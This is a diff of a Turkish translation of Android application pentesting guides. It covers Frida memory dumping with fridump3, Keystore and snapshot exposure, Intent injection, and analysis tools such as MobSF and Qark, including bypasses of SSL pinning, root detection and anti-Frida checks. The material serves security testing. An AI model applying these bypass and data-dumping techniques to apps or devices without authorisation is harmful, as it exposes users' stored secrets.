- Burada bazı harika Frida betikleri bulabilirsiniz: [**https://codeshare.frida.re/**](https://codeshare.frida.re)
- Frida'yı [https://erfur.github.io/blog/dev/code-injection-without-ptrace](https://erfur.github.io/blog/dev/code-injection-without-ptrace) adresinde belirtildiği gibi yükleyerek anti-debugging / anti-frida mekanizmalarını aşmayı deneyin (araç [linjector](https://github.com/erfur/linjector-rs))
@ -446,13 +446,13 @@ python3 fridump3.py -u <PID>
frida-ps -Uai
python3 fridump3.py -u "<Name>"
```
Bu, ./dump klasöründe belleği dökecektir ve orada şunlarla grep yapabilirsiniz:
Bu, belleği ./dump klasörüne dökecektir ve burada şunlarla grep yapabilirsiniz:
```bash
strings * | grep -E "^[a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+$"
```
### **Keystore'daki Hassas Veriler**
Android'de Keystore, hassas verileri saklamak için en iyi yerdir, ancak yeterli ayrıcalıklara sahip olunduğunda **erişmek mümkündür**. Uygulamalar burada **hassas verileri düz metin olarak** saklama eğiliminde olduğundan, pentestlerin bunu kontrol etmesi gerekir; çünkü root kullanıcı veya cihaza fiziksel erişimi olan biri bu verileri çalabilir.
Android'de Keystore, hassas verileri saklamak için en iyi yerdir, ancak yeterli ayrıcalıklara sahip olunduğunda **erişim sağlamak mümkündür**. Uygulamalar burada genellikle **hassas verileri düz metin olarak** sakladığı için pentestler, bu verileri çalabilecek fiziksel erişime sahip birinin veya root kullanıcısının kontrolünde kontrol edilmelidir.
Bir uygulama verileri keystore'da saklasa bile, verilerin şifrelenmiş olması gerekir.
@ -474,7 +474,7 @@ Ancak, bu anlık görüntü **hassas bilgiler** içeriyorsa, anlık görüntüye
Anlık görüntüler genellikle şurada saklanır: **`/data/system_ce/0/snapshots`**
Android, **FLAG_SECURE** düzen parametresini ayarlayarak ekran görüntüsü alımını **önlemenin** bir yolunu sunar. Bu bayrağı kullanarak, pencere içeriği güvenli olarak kabul edilir, ekran görüntülerinde görünmesini veya güvenli olmayan ekranlarda görüntülenmesini engeller.
Android, **FLAG_SECURE** düzen parametresini ayarlayarak ekran görüntüsü alımını **önlemenin** bir yolunu sağlar. Bu bayrağı kullanarak, pencere içeriği güvenli olarak kabul edilir, bu da ekran görüntülerinde görünmesini veya güvenli olmayan ekranlarda görüntülenmesini engeller.
```bash
getWindow().setFlags(LayoutParams.FLAG_SECURE, LayoutParams.FLAG_SECURE);
```
@ -486,23 +486,23 @@ Bu araç, dinamik analiz sırasında farklı araçları yönetmenize yardımcı
Geliştiriciler genellikle bu Intents'leri işleyen ve `startActivity(...)` veya `sendBroadcast(...)` gibi yöntemlere ileten proxy bileşenleri, aktiviteleri, hizmetleri ve yayın alıcıları oluştururlar; bu da riskli olabilir.
Tehlike, saldırganların bu Intents'leri yanlış yönlendirerek dışa aktarılmamış uygulama bileşenlerini tetiklemelerine veya hassas içerik sağlayıcılarına erişmelerine izin vermekte yatmaktadır. Dikkate değer bir örnek, URL'leri `Intent` nesnelerine dönüştüren `WebView` bileşenidir; bu, `Intent.parseUri(...)` aracılığıyla yapılır ve ardından bunları çalıştırarak kötü niyetli Intent enjeksiyonlarına yol açabilir.
Tehlike, saldırganların bu Intents'leri yanlış yönlendirerek dışa aktarılmamış uygulama bileşenlerini tetiklemelerine veya hassas içerik sağlayıcılarına erişmelerine izin vermekte yatmaktadır. Dikkate değer bir örnek, URL'leri `Intent` nesnelerine dönüştüren `WebView` bileşenidir; `Intent.parseUri(...)` aracılığıyla bunları işleyip çalıştırabilir, bu da kötü niyetli Intent enjeksiyonlarına yol açabilir.
### Temel Çıkarımlar
- **Intent Enjeksiyonu**, webin Açık Yönlendirme sorununa benzer.
- Sömürü, `Intent` nesnelerini ekstra olarak geçirmeyi içerir; bu, güvensiz işlemleri yürütmek için yönlendirilebilir.
- Sömürü, `Intent` nesnelerini ekstra olarak geçirmeyi içerir; bu da güvensiz işlemleri yürütmek için yönlendirilebilir.
- Dışa aktarılmamış bileşenleri ve içerik sağlayıcılarını saldırganlara açabilir.
- `WebView`in URL'den `Intent` dönüşümü, istenmeyen eylemleri kolaylaştırabilir.
### Android İstemci Tarafı Enjeksiyonları ve Diğerleri
Bu tür güvenlik açıkları hakkında Web'den haberdar olmalısınız. Bir Android uygulamasında bu güvenlik açıklarına özellikle dikkat etmelisiniz:
Bu tür zafiyetler hakkında Web'den haberdar olmalısınız. Android uygulamasında bu zafiyetlere karşı özellikle dikkatli olmalısınız:
- **SQL Enjeksiyonu:** Dinamik sorgular veya İçerik Sağlayıcılarla çalışırken, parametreli sorgular kullandığınızdan emin olun.
- **JavaScript Enjeksiyonu (XSS):** Herhangi bir WebView için JavaScript ve Eklenti desteğinin devre dışı olduğundan emin olun (varsayılan olarak devre dışıdır). [Daha fazla bilgi burada](webview-attacks.md#javascript-enabled).
- **Yerel Dosya Dahil Etme:** WebView'lerin dosya sistemine erişimi devre dışı olmalıdır (varsayılan olarak etkindir) - `(webview.getSettings().setAllowFileAccess(false);)`. [Daha fazla bilgi burada](webview-attacks.md#javascript-enabled).
- **Sonsuz çerezler**: Birçok durumda, android uygulaması oturumu bitirdiğinde çerez iptal edilmez veya hatta diske kaydedilebilir.
- **Sonsuz çerezler**: Android uygulaması oturumu bitirdiğinde çerez iptal edilmez veya hatta diske kaydedilebilir.
- [**Çerezlerde Güvenli Bayrak**](../../pentesting-web/hacking-with-cookies/index.html#cookies-flags)
---
@ -523,39 +523,39 @@ docker run -it -p 8000:8000 opensecurity/mobile-security-framework-mobsf:latest
MobSF, **Android**(apk)**, IOS**(ipa) **ve Windows**(apx) uygulamalarını (_Windows uygulamaları, Windows ana bilgisayarında kurulu bir MobSF'den analiz edilmelidir_) analiz edebilir.\
Ayrıca, bir **Android** veya **IOS** uygulamasının kaynak koduyla bir **ZIP** dosyası oluşturursanız (uygulamanın kök klasörüne gidin, her şeyi seçin ve bir ZIP dosyası oluşturun), bunu da analiz edebilecektir.
MobSF ayrıca **diff/karşılaştırma** analizi yapmanıza ve **VirusTotal** ile entegre olmanıza olanak tanır (API anahtarınızı _MobSF/settings.py_ dosyasında ayarlamanız ve etkinleştirmeniz gerekecek: `VT_ENABLED = TRUE` `VT_API_KEY = <Your API key>` `VT_UPLOAD = TRUE`). `VT_UPLOAD`'ı `False` olarak ayarlayabilirsiniz, bu durumda **hash** dosya yerine **yüklenir**.
MobSF ayrıca **diff/Compare** analizi yapmanıza ve **VirusTotal** ile entegre olmanıza olanak tanır (API anahtarınızı _MobSF/settings.py_ dosyasına ayarlamanız ve etkinleştirmeniz gerekecek: `VT_ENABLED = TRUE` `VT_API_KEY = <Your API key>` `VT_UPLOAD = TRUE`). Ayrıca `VT_UPLOAD`'ı `False` olarak ayarlayabilirsiniz, bu durumda **hash** dosya yerine **yüklenir**.
### MobSF ile Yardımlı Dinamik Analiz
**MobSF**, **Android** için **dinamik analiz** konusunda da çok yardımcı olabilir, ancak bu durumda MobSF ve **genymotion**'ı ana bilgisayarınıza kurmanız gerekecek (bir VM veya Docker çalışmayacaktır). _Not: Önce **genymotion'da bir VM başlatmalısınız** ve **sonra MobSF'yi başlatmalısınız.**_\
**MobSF**, **Android**'de **dinamik analiz** için de çok yardımcı olabilir, ancak bu durumda MobSF ve **genymotion**'ı ana bilgisayarınıza kurmanız gerekecek (bir VM veya Docker çalışmayacaktır). _Not: Önce **genymotion'da bir VM başlatmalısınız** ve **sonra MobSF'yi başlatmalısınız.**_\
**MobSF dinamik analizörü** şunları yapabilir:
- **Uygulama verilerini dökme** (URL'ler, günlükler, panoya kopyalanan veriler, sizin yaptığınız ekran görüntüleri, "**Exported Activity Tester**" tarafından yapılan ekran görüntüleri, e-postalar, SQLite veritabanları, XML dosyaları ve diğer oluşturulan dosyalar). Tüm bunlar otomatik olarak yapılır, ekran görüntüleri için istediğinizde basmanız veya tüm dışa aktarılan aktivitelerin ekran görüntülerini elde etmek için "**Exported Activity Tester**" butonuna basmanız gerekir.
- **Uygulama verilerini dökme** (URL'ler, günlükler, panoya kopyalananlar, sizin yaptığınız ekran görüntüleri, "**Exported Activity Tester**" tarafından yapılan ekran görüntüleri, e-postalar, SQLite veritabanları, XML dosyaları ve diğer oluşturulan dosyalar). Tüm bunlar otomatik olarak yapılır, ekran görüntüleri için istediğinizde basmanız veya tüm dışa aktarılan etkinliklerin ekran görüntülerini almak için "**Exported Activity Tester**" butonuna basmanız gerekir.
- **HTTPS trafiğini yakalama**
- **Çalışma zamanı** **bilgilerini** elde etmek için **Frida** kullanma
Android **sürümleri > 5** için, **Frida**'yı **otomatik olarak başlatacak** ve trafiği **yakalamak** için global **proxy** ayarlarını ayarlayacaktır. Sadece test edilen uygulamadan gelen trafiği yakalayacaktır.
Android **sürümleri > 5**'ten itibaren, **Frida**'yı **otomatik olarak başlatacak** ve trafiği **yakalamak** için global **proxy** ayarlarını ayarlayacaktır. Sadece test edilen uygulamadan gelen trafiği yakalayacaktır.
**Frida**
Varsayılan olarak, **SSL pinning**'i **bypass** etmek, **root tespiti** ve **debugger tespiti** yapmak ve **ilginç API'leri** izlemek için bazı Frida Script'lerini de kullanacaktır.\
MobSF ayrıca **dışa aktarılan aktiviteleri** çağırabilir, bunların **ekran görüntülerini** alabilir ve rapor için **kaydedebilir**.
Varsayılan olarak, **SSL pinning**'i **bypass** etmek, **root tespiti** ve **hata ayıklayıcı tespiti** yapmak ve **ilginç API'leri** izlemek için bazı Frida Script'lerini de kullanacaktır.\
MobSF ayrıca **dışa aktarılan etkinlikleri** çağırabilir, bunların **ekran görüntülerini** alabilir ve rapor için **kaydedebilir**.
Dinamik testi **başlatmak** için yeşil butona basın: "**Start Instrumentation**". Frida script'leri tarafından üretilen günlükleri görmek için "**Frida Live Logs**" butonuna basın ve bağlı yöntemlere yapılan tüm çağrıları, geçirilen argümanları ve döndürülen değerleri görmek için "**Live API Monitor**" butonuna basın (bu, "Start Instrumentation" butonuna bastıktan sonra görünecektir).\
MobSF ayrıca kendi **Frida script'lerinizi** yüklemenize olanak tanır (Frida script'lerinizin sonuçlarını MobSF'ye göndermek için `send()` fonksiyonunu kullanın). Ayrıca yükleyebileceğiniz **birçok önceden yazılmış script** vardır (daha fazlasını `MobSF/DynamicAnalyzer/tools/frida_scripts/others/` dizinine ekleyebilirsiniz), sadece **seçin**, "**Load**" butonuna basın ve "**Start Instrumentation**" butonuna basın (o script'lerin günlüklerini "**Frida Live Logs**" içinde görebileceksiniz).
MobSF ayrıca kendi **Frida script'lerinizi** yüklemenize olanak tanır (Frida script'lerinizin sonuçlarını MobSF'ye göndermek için `send()` fonksiyonunu kullanın). Ayrıca yükleyebileceğiniz **birçok önceden yazılmış script** vardır (daha fazlasını `MobSF/DynamicAnalyzer/tools/frida_scripts/others/` dizinine ekleyebilirsiniz), sadece **seçin**, "**Load**" butonuna basın ve "**Start Instrumentation**" butonuna basın (bu script'lerin günlüklerini "**Frida Live Logs**" içinde görebileceksiniz).
![](<../../images/image (419).png>)
Ayrıca, bazı Yardımcı Frida işlevsellikleriniz var:
- **Yüklenen Sınıfları Listele**: Tüm yüklenen sınıfları yazdırır
- **Dizeleri Yakala**: Uygulamayı kullanırken tüm yakalanan dizeleri yazdırır (çok gürültülü)
- **Dize Karşılaştırmalarını Yakala**: Çok faydalı olabilir. **Karşılaştırılan 2 dizeyi** ve sonucun True veya False olup olmadığını **gösterir**.
- **Sınıf Yöntemlerini Listele**: Sınıf adını (örneğin "java.io.File") girin ve sınıfın tüm yöntemlerini yazdırır.
- **Sınıf Deseni Ara**: Desene göre sınıfları arar
- **Sınıf Yöntemlerini İzle**: **Bütün bir sınıfı izler** (sınıfın tüm yöntemlerinin giriş ve çıkışlarını görür). Unutmayın ki varsayılan olarak MobSF, birkaç ilginç Android API yöntemini izler.
- **Yüklenen Sınıfları Sayma**: Tüm yüklenen sınıfları yazdırır
- **Dizeleri Yakalama**: Uygulamayı kullanırken tüm yakalanan dizeleri yazdırır (çok gürültülü)
- **Dize Karşılaştırmalarını Yakalama**: Çok faydalı olabilir. **Karşılaştırılan 2 dizeyi** ve sonucun True veya False olup olmadığını **gösterir**.
- **Sınıf Yöntemlerini Sayma**: Sınıf adını (örneğin "java.io.File") yazın ve sınıfın tüm yöntemlerini yazdırır.
- **Sınıf Deseni Arama**: Desene göre sınıfları arar
- **Sınıf Yöntemlerini İzleme**: **Bütün bir sınıfı izler** (sınıfın tüm yöntemlerinin giriş ve çıkışlarını görür). Unutmayın ki varsayılan olarak MobSF, birkaç ilginç Android API yöntemini izler.
Kullanmak istediğiniz yardımcı modülü seçtikten sonra "**Start Instrumentation**" butonuna basmanız gerekir ve tüm çıktıları "**Frida Live Logs**" içinde göreceksiniz.
Kullanmak istediğiniz yardımcı modülü seçtikten sonra "**Start Intrumentation**" butonuna basmanız gerekir ve tüm çıktıları "**Frida Live Logs**" içinde göreceksiniz.
**Shell**
@ -570,13 +570,13 @@ receivers
```
**HTTP araçları**
HTTP trafiği yakalandığında, "**HTTP(S) Trafik**" altındaki yakalanan trafiğin çirkin bir görünümünü veya "**HTTPTools'u Başlat**" yeşil butonundaki daha güzel bir görünümünü görebilirsiniz. İkinci seçenekten, **yakalanan istekleri** Burp veya Owasp ZAP gibi **proxy'lere** **gönderebilirsiniz**.\
Bunu yapmak için, _Burp'ıın -->_ _Intercept'i kapatın --> MobSB HTTPTools'da isteği seçin_ --> "**Fuzzer'a Gönder**" butonuna basın --> _proxy adresini seçin_ ([http://127.0.0.1:8080\\](http://127.0.0.1:8080)).
HTTP trafiği yakalandığında, "**HTTP(S) Trafik**" altındaki yakalanan trafiğin çirkin bir görünümünü veya "**HTTP Araçlarını Başlat**" yeşil butonundaki daha güzel bir görünümünü görebilirsiniz. İkinci seçenekten, **yakalanan istekleri** Burp veya Owasp ZAP gibi **proxy'lere** **gönderebilirsiniz**.\
Bunu yapmak için, _Burp'ıın -->_ _Intercept'i kapatın --> MobSB HTTP Araçları'nda isteği seçin_ --> "**Fuzzer'a Gönder**" butonuna basın --> _proxy adresini seçin_ ([http://127.0.0.1:8080\\](http://127.0.0.1:8080)).
MobSF ile dinamik analizi tamamladıktan sonra, **http isteklerini fuzzlamak** ve güvenlik açıklarını aramak için "**Web API Fuzzer'ı Başlat**" butonuna basabilirsiniz.
> [!NOTE]
> MobSF ile dinamik analiz gerçekleştirdikten sonra proxy ayarları yanlış yapılandırılmış olabilir ve bunları GUI'den düzeltemezsiniz. Proxy ayarlarını düzeltmek için:
> MobSF ile dinamik bir analiz gerçekleştirdikten sonra proxy ayarları yanlış yapılandırılmış olabilir ve bunları GUI'den düzeltemezsiniz. Proxy ayarlarını düzeltmek için:
>
> ```
> adb shell settings put global http_proxy :0
@ -595,7 +595,7 @@ Bu, **GUI ile statik analiz gerçekleştirmek için harika bir araçtır.**
### [Qark](https://github.com/linkedin/qark)
Bu araç, **kaynak kodunda** veya **paketlenmiş APK'larda** çeşitli **güvenlik ile ilgili Android uygulama açıklarını** aramak için tasarlanmıştır. Araç ayrıca, bulunan bazı güvenlik açıklarını (Açık aktiviteler, intentler, tapjacking...) istismar etmek için **"Proof-of-Concept" dağıtılabilir APK** ve **ADB komutları** oluşturma yeteneğine de sahiptir. Drozer ile olduğu gibi, test cihazını rootlamaya gerek yoktur.
Bu araç, **kaynak kodunda** veya **paketlenmiş APK'larda** çeşitli **güvenlik ile ilgili Android uygulama açıklarını** aramak için tasarlanmıştır. Araç ayrıca, bulunan bazı güvenlik açıklarını (Açık aktiviteler, intentler, tapjacking...) istismar etmek için **"Proof-of-Concept" dağıtılabilir APK** ve **ADB komutları** oluşturma yeteneğine de sahiptir. Drozer ile olduğu gibi, test cihazını root etmenize gerek yoktur.
```bash
pip3 install --user qark # --user is only needed if not using a virtualenv
qark --apk path/to/my.apk
@ -631,7 +631,7 @@ StaCoAn, geliştiricilere, bugbounty avcılarına ve etik hackerlara mobil uygul
Kavram, mobil uygulama dosyanızı (bir .apk veya .ipa dosyası) StaCoAn uygulamasına sürükleyip bırakmanız ve bunun için size görsel ve taşınabilir bir rapor oluşturmasıdır. Özelleştirilmiş bir deneyim elde etmek için ayarları ve kelime listelerini değiştirebilirsiniz.
[En son sürümü](https://github.com/vincentcox/StaCoAn/releases) indirin:
İndir[ en son sürüm](https://github.com/vincentcox/StaCoAn/releases):
```
./stacoan
```
@ -657,7 +657,7 @@ python androwarn.py -i my_application_to_be_analyzed.apk -r html -v 3
![](<../../images/image (595).png>)
**MARA**, **Mobil Uygulama Tersine Mühendislik ve Analiz Çerçevesi**dir. Bu, mobil uygulamaları OWASP mobil güvenlik tehditlerine karşı test etmeye yardımcı olmak için yaygın olarak kullanılan mobil uygulama tersine mühendislik ve analiz araçlarını bir araya getiren bir araçtır. Amacı, bu görevi mobil uygulama geliştiricileri ve güvenlik profesyonelleri için daha kolay ve daha dostane hale getirmektir.
**MARA**, **Mobil Uygulama** **Tersine Mühendislik** ve **Analiz** Çerçevesidir. Bu, mobil uygulamaları OWASP mobil güvenlik tehditlerine karşı test etmeye yardımcı olmak için yaygın olarak kullanılan mobil uygulama tersine mühendislik ve analiz araçlarını bir araya getiren bir araçtır. Amacı, bu görevi mobil uygulama geliştiricileri ve güvenlik profesyonelleri için daha kolay ve daha dostane hale getirmektir.
Şunları yapabilir:
@ -666,7 +666,7 @@ python androwarn.py -i my_application_to_be_analyzed.apk -r html -v 3
- Regex kullanarak APK'dan özel bilgileri çıkarmak.
- Manifest'i analiz etmek.
- Bulunan alan adlarını analiz etmek için: [pyssltest](https://github.com/moheshmohan/pyssltest), [testssl](https://github.com/drwetter/testssl.sh) ve [whatweb](https://github.com/urbanadventurer/WhatWeb)
- APK'yi [apk-deguard.com](http://www.apk-deguard.com) üzerinden deşifre etmek.
- APK'yı [apk-deguard.com](http://www.apk-deguard.com) üzerinden deşifre etmek.
### Koodous
@ -686,12 +686,12 @@ ProGuard, Android SDK'nın bir parçası olarak dağıtılır ve uygulama yayın
APK'yı deşifre etmek için adım adım bir kılavuzu [https://blog.lexfo.fr/dexguard.html](https://blog.lexfo.fr/dexguard.html) adresinde bulabilirsiniz.
(Bu kılavuzdan) Son kontrol ettiğimizde, Dexguard çalışma modu şuydu:
(Bu kılavuzdan) En son kontrol ettiğimizde, Dexguard çalışma modu şuydu:
- Bir kaynağı InputStream olarak yüklemek;
- Sonucu deşifre etmek için FilterInputStream'den türetilmiş bir sınıfa beslemek;
- Sonucu deşifre etmek için FilterInputStream'den türetilen bir sınıfa beslemek;
- Bir tersine mühendislik uzmanının birkaç dakikasını boşa harcamak için gereksiz obfuscation yapmak;
- Deşifre edilmiş sonucu bir ZipInputStream'e besleyerek bir DEX dosyası almak;
- Deşifre edilmiş sonucu bir ZipInputStream'e beslemek ve bir DEX dosyası almak;
- Son olarak, elde edilen DEX'i `loadDex` yöntemi kullanarak bir Kaynak olarak yüklemek.
### [DeGuard](http://apk-deguard.com)
@ -710,7 +710,7 @@ Bu, **genel bir android deobfuscator'dır.** Simplify, bir uygulamayı **sanalla
### [APKiD](https://github.com/rednaga/APKiD)
APKiD, **bir APK'nın nasıl yapıldığını** size bildirir. Birçok **derleyici**, **paketleyici**, **obfuscator** ve diğer garip şeyleri tanımlar. Android için [_PEiD_](https://www.aldeid.com/wiki/PEiD) gibidir.
APKiD, **bir APK'nın nasıl yapıldığını** size bilgi verir. Birçok **derleyici**, **paketleyici**, **obfuscator** ve diğer garip şeyleri tanımlar. Android için [_PEiD_](https://www.aldeid.com/wiki/PEiD) gibidir.
### Manual

View File

@ -21,14 +21,14 @@
### Sandbox
**Android Uygulama Sandbox'ı**, **her uygulamanın** **ayrı bir kullanıcı kimliği altında ayrı bir işlem olarak çalıştırılmasına olanak tanır**. Her işlem kendi sanal makinesine sahiptir, bu nedenle bir uygulamanın kodu diğer uygulamalardan izole bir şekilde çalışır.\
Android 5.0(L) itibarıyla **SELinux** uygulanmaktadır. Temelde, SELinux tüm işlem etkileşimlerini reddetti ve ardından **yalnızca beklenen etkileşimlere izin verecek politikalar oluşturdu**.
Android 5.0(L) itibarıyla **SELinux** uygulanmaktadır. Temelde, SELinux tüm işlem etkileşimlerini reddetti ve ardından **aralarındaki beklenen etkileşimlere yalnızca izin vermek için politikalar oluşturdu**.
### İzinler
Bir **uygulama yüklendiğinde ve izinler istediğinde**, uygulama **AndroidManifest.xml** dosyasındaki **`uses-permission`** öğelerinde yapılandırılan izinleri istemektedir. **uses-permission** öğesi, istenen iznin adını **name** **özniteliği içinde belirtir.** Ayrıca, belirtilen sürümden daha yüksek sürümlerde izin istemeyi durduran **maxSdkVersion** özniteliğine de sahiptir.\
Android uygulamalarının başlangıçta tüm izinleri istemesi gerekmediğini, dinamik olarak da **izin isteyebileceğini** unutmayın, ancak tüm izinler **manifestoda** **bildirilmelidir.**
Android uygulamaları başlangıçta tüm izinleri istemek zorunda değildir, ayrıca **dinamik olarak izin isteyebilirler**, ancak tüm izinler **manifestoda** **belirtilmelidir.**
Bir uygulama işlevsellik sunduğunda, **yalnızca belirli bir izne sahip uygulamalara erişimi sınırlayabilir**.\
Bir uygulama işlevsellik ığa çıkardığında, **yalnızca belirli bir izne sahip uygulamalara erişimi sınırlayabilir**.\
Bir izin öğesinin üç özniteliği vardır:
- İznin **adı**
@ -45,14 +45,14 @@ Bu uygulamalar genellikle **`/system/app`** veya **`/system/priv-app`** dizinler
- **AOSP** (Android Açık Kaynak Projesi) **ROM** ile birlikte gelenler
- Cihaz **üreticisi** tarafından eklenenler
- Hücresel **telefon sağlayıcısı** tarafından eklenenler (eğer onlardan satın alındıysa)
- **Telefon sağlayıcısı** tarafından eklenenler (eğer onlardan satın alındıysa)
## Rootlama
Bir fiziksel android cihazda root erişimi elde etmek için genellikle **1 veya 2 güvenlik açığını istismar etmeniz** gerekir; bu açılar genellikle **cihaz** ve **sürüm** için **özeldir**.\
İstismar çalıştığında, genellikle Linux `su` ikili dosyası kullanıcının PATH ortam değişkeninde belirtilen bir konuma kopyalanır, örneğin `/system/xbin`.
İstismar çalıştığında, genellikle Linux `su` ikili dosyası, kullanıcının PATH ortam değişkeninde belirtilen bir konuma, örneğin `/system/xbin`'e kopyalanır.
Su ikili dosyası yapılandırıldıktan sonra, `su` ikili dosyası ile etkileşimde bulunmak için başka bir Android uygulaması kullanılır ve **root erişimi için istekleri işler**; örneğin **Superuser** ve **SuperSU** (Google Play mağazasında mevcuttur).
Su ikili dosyası yapılandırıldıktan sonra, `su` ikili dosyası ile etkileşimde bulunmak için başka bir Android uygulaması kullanılır ve **root erişimi için istekleri işler**; bu uygulamalar **Superuser** ve **SuperSU** (Google Play mağazasında mevcuttur).
> [!CAUTION]
> Rootlama işleminin çok tehlikeli olduğunu ve cihazı ciddi şekilde zarar verebileceğini unutmayın.
@ -66,7 +66,7 @@ Su ikili dosyası yapılandırıldıktan sonra, `su` ikili dosyası ile etkileş
### Sonuçlar
Bir cihaz rootlandığında, herhangi bir uygulama root olarak erişim isteyebilir. Kötü niyetli bir uygulama bunu elde ederse, neredeyse her şeye erişimi olacak ve telefonu zarar verebilecektir.
Bir cihaz rootlandığında, herhangi bir uygulama root olarak erişim isteyebilir. Eğer kötü niyetli bir uygulama bunu elde ederse, neredeyse her şeye erişimi olacak ve telefonu zarar verebilecektir.
## Android Uygulama Temelleri <a href="#2-android-application-fundamentals" id="2-android-application-fundamentals"></a>
@ -74,7 +74,7 @@ Bir cihaz rootlandığında, herhangi bir uygulama root olarak erişim isteyebil
- APK İçerikleri (kapsamlı değil)
- **AndroidManifest.xml**
- resources.arsc/strings.xml
- resources.arsc: ikili XML gibi önceden derlenmiş kaynakları içerir.
- resources.arsc: önceden derlenmiş kaynakları, ikili XML gibi içerir.
- res/xml/files_paths.xml
- META-INF/
- Sertifikanın bulunduğu yer burasıdır!
@ -85,9 +85,9 @@ Bir cihaz rootlandığında, herhangi bir uygulama root olarak erişim isteyebil
- `armeabi`: ARM tabanlı işlemciler için kod
- `armeabi-v7a`: ARMv7 ve daha yüksek tabanlı işlemciler için kod
- `x86`: X86 işlemciler için kod
- `mips`: yalnızca MIPS işlemciler için kod
- `mips`: yalnızca MIPS işlemcileri için kod
- assets/
- Uygulamanın ihtiyaç duyduğu çeşitli dosyaları depolar; bunlar ek yerel kütüphaneler veya DEX dosyaları içerebilir, bazen kötü amaçlı yazılım yazarları tarafından ek kodu gizlemek için kullanılır.
- Uygulamanın ihtiyaç duyduğu çeşitli dosyaları depolar; bunlar, bazen kötü amaçlı yazılım yazarları tarafından ek kodu gizlemek için kullanılan ek yerel kütüphaneler veya DEX dosyalarını içerebilir.
- res/
- resources.arsc içine derlenmemiş kaynakları içerir.
@ -95,7 +95,7 @@ Bir cihaz rootlandığında, herhangi bir uygulama root olarak erişim isteyebil
Android geliştirmede, **Java veya Kotlin** uygulama oluşturmak için kullanılır. Masaüstü uygulamalarındaki gibi JVM kullanmak yerine, Android bu kodu **Dalvik Executable (DEX) bytecode**'a derler. Daha önce, Dalvik sanal makinesi bu bytecode'u yönetiyordu, ancak şimdi, daha yeni Android sürümlerinde Android Runtime (ART) devralmıştır.
Tersine mühendislik için, **Smali** kritik hale gelir. DEX bytecode'un insan tarafından okunabilir versiyonudur ve kaynak kodunu bytecode talimatlarına çevirerek montaj dili gibi davranır. Smali ve baksmali, bu bağlamda montaj ve ayrıştırma araçlarını ifade eder.
Tersine mühendislik için, **Smali** kritik hale gelir. Bu, DEX bytecode'un insan tarafından okunabilir versiyonudur ve kaynak kodunu bytecode talimatlarına çevirerek montaj dili gibi işlev görür. Smali ve baksmali, bu bağlamda montaj ve ayrıştırma araçlarını ifade eder.
## Niyetler
@ -114,21 +114,21 @@ Eğer savunmasızsa, **Niyetler çeşitli saldırılar gerçekleştirmek için k
### Niyet-Filtre
**Niyet Filtreleri**, **bir aktivite, hizmet veya Yayın Alıcısının farklı türdeki Niyetlerle nasıl etkileşimde bulunabileceğini tanımlar**. Temelde, bu bileşenlerin hangi eylemleri gerçekleştirebileceği veya hangi tür yayınları işleyebileceği gibi yeteneklerini tanımlar. Bu filtreleri bildirmek için birincil yer **AndroidManifest.xml dosyasıdır**, ancak Yayın Alıcıları için kodlamak da bir seçenektir.
**Niyet Filtreleri**, **bir aktivite, hizmet veya Yayın Alıcısının farklı türdeki Niyetlerle nasıl etkileşimde bulunabileceğini tanımlar**. Temelde, bu bileşenlerin hangi eylemleri gerçekleştirebileceği veya hangi tür yayınları işleyebileceği gibi yeteneklerini tanımlar. Bu filtreleri beyan etmenin birincil yeri **AndroidManifest.xml dosyasıdır**, ancak Yayın Alıcıları için kodlama da bir seçenek olabilir.
Niyet Filtreleri, kategoriler, eylemler ve veri filtrelerinden oluşur ve ek meta verilerin dahil edilmesi mümkündür. Bu yapı, bileşenlerin belirtilen kriterlere uyan belirli Niyetleri işleyebilmesine olanak tanır.
Niyet Filtreleri, kategoriler, eylemler ve veri filtrelerinden oluşur ve ek meta verilerin dahil edilmesi mümkündür. Bu yapı, bileşenlerin beyan edilen kriterlere uyan belirli Niyetleri işleyebilmesini sağlar.
Android bileşenlerinin (aktivite/hizmet/içerik sağlayıcıları/yayın alıcıları) kritik bir yönü, görünürlükleri veya **kamusal durumlarıdır**. Bir bileşen, **`exported`** değeri **`true`** olarak ayarlandığında kamuya açık kabul edilir ve diğer uygulamalarla etkileşimde bulunabilir. Ancak, geliştiricilerin bu bileşenleri özel tutmak için açık bir şekilde ayarlama seçeneği vardır; bu, diğer uygulamalarla istemeden etkileşimde bulunmamalarını sağlamak için **`exported`** özniteliğini **`false`** olarak ayarlamakla gerçekleştirilir.
Android bileşenlerinin (aktivite/hizmet/içerik sağlayıcıları/yayın alıcıları) kritik bir yönü, görünürlükleri veya **kamusal durumlarıdır**. Bir bileşen, **`exported`** değeri **`true`** olarak ayarlandığında kamuya açık kabul edilir ve diğer uygulamalarla etkileşimde bulunabilir. Ancak, geliştiricilerin bu bileşenleri özel tutma seçeneği vardır; bu, diğer uygulamalarla istemeden etkileşimde bulunmamalarını sağlamak için **`exported`** özniteliğini **`false`** olarak ayarlamakla gerçekleştirilir.
Ayrıca, geliştiricilerin bu bileşenlere erişimi daha da güvence altına almak için belirli izinler talep etme seçeneği vardır. **`permission`** özniteliği, yalnızca belirlenen izne sahip uygulamaların bileşene erişebileceğini zorunlu kılacak şekilde ayarlanabilir ve bu, kimin etkileşimde bulunabileceği üzerinde ek bir güvenlik ve kontrol katmanı ekler.
Ayrıca, geliştiricilerin bu bileşenlere erişimi daha da güvence altına almak için belirli izinler talep etme seçeneği vardır. **`permission`** özniteliği, yalnızca belirlenen izne sahip uygulamaların bileşene erişebilmesini sağlamak için ayarlanabilir ve bu, kimin etkileşimde bulunabileceği üzerinde ek bir güvenlik ve kontrol katmanı ekler.
```java
<activity android:name=".MyActivity" android:exported="false">
<!-- Intent filters go here -->
</activity>
```
### Implicit Intents
### İkincil Niyetler
Intents, bir Intent yapıcı kullanılarak programatik olarak oluşturulur:
Niyetler, bir Niyet yapıcısı kullanılarak programatik olarak oluşturulur:
```java
Intent email = new Intent(Intent.ACTION_SEND, Uri.parse("mailto:"));
```
@ -145,11 +145,11 @@ Bu intent, aşağıdaki örnekte olduğu gibi manifest içinde tanımlanmalıdı
```
Bir intent-filter'ın bir mesajı alabilmesi için **action**, **data** ve **category** ile eşleşmesi gerekir.
